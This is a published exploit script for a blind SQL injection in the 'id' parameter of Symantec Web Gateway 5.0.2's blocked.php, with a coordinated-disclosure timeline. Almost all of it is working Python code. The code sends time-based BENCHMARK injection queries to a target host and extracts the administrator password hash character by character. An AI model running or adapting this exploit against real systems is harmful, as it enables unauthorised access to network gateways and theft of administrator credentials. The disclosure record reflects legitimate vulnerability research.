Symantec Web Gateway 5.0.2 – ‘blocked.php?id’ Blind SQL Injection
#!/usr/bin/python ###################################################################################### # Exploit Title: Symantec Web Gateway 5.0.2 (blocked.php id parameter) Blind SQL Injection # Date: Jul 23 2012 # Author: muts # Version: Symantec Web Gateway 5.0.2 # Vendor URL: http://www.symantec.com # # Timeline: # # 29 May 2012: Vulnerability reported to CERT # 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012 # 26 Jun 2012: Email received from Symantec for additional information # 26 Jun 2012: Additional proofs of concept sent to Symantec # 06 Jul 2012: Update received from Symantec with intent to fix # 20 Jul 2012: Symantec patch released: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00 # 23 Jul 2012: Public Disclosure # ###################################################################################### import urllib import time import sys from time import sleep # Set your timing variable. A minimum value of 200 (2 seconds) was tested on localhost. # This might need to be higher on production systems. timing=300 def check_char(i,j,timing): url = ("https://172.16.254.111/spywall/blocked.php?d=3&file=3&id=1)" + " or 1=(select IF(conv(mid((select password from users),%s,1),16,10) "+ "= %s,BENCHMARK(%s,rand()),11) LIMIT 1&history=-2&u=3") % (j,i,timing) start=time.time() urllib.urlopen(url) end =time.time() howlong=int(end-start) return howlong counter=0 startexploit=time.time() print "[*] Symantec \"Wall of Spies\" hash extractor" print "[*] Time Based SQL injection, please wait..." sys.stdout.write("[*] Admin hash is : ") sys.stdout.flush() for m in range(1,33): for n in range(0,16): counter= counter+1 output = check_char(n,m,timing) if output > ((timing/100)-1): byte =hex(n)[2:] sys.stdout.write(byte) sys.stdout.flush() break endexploit=time.time() totalrun=str(endexploit-startexploit) print "\n[*] Total of %s queries in %s seconds" % (counter,totalrun) |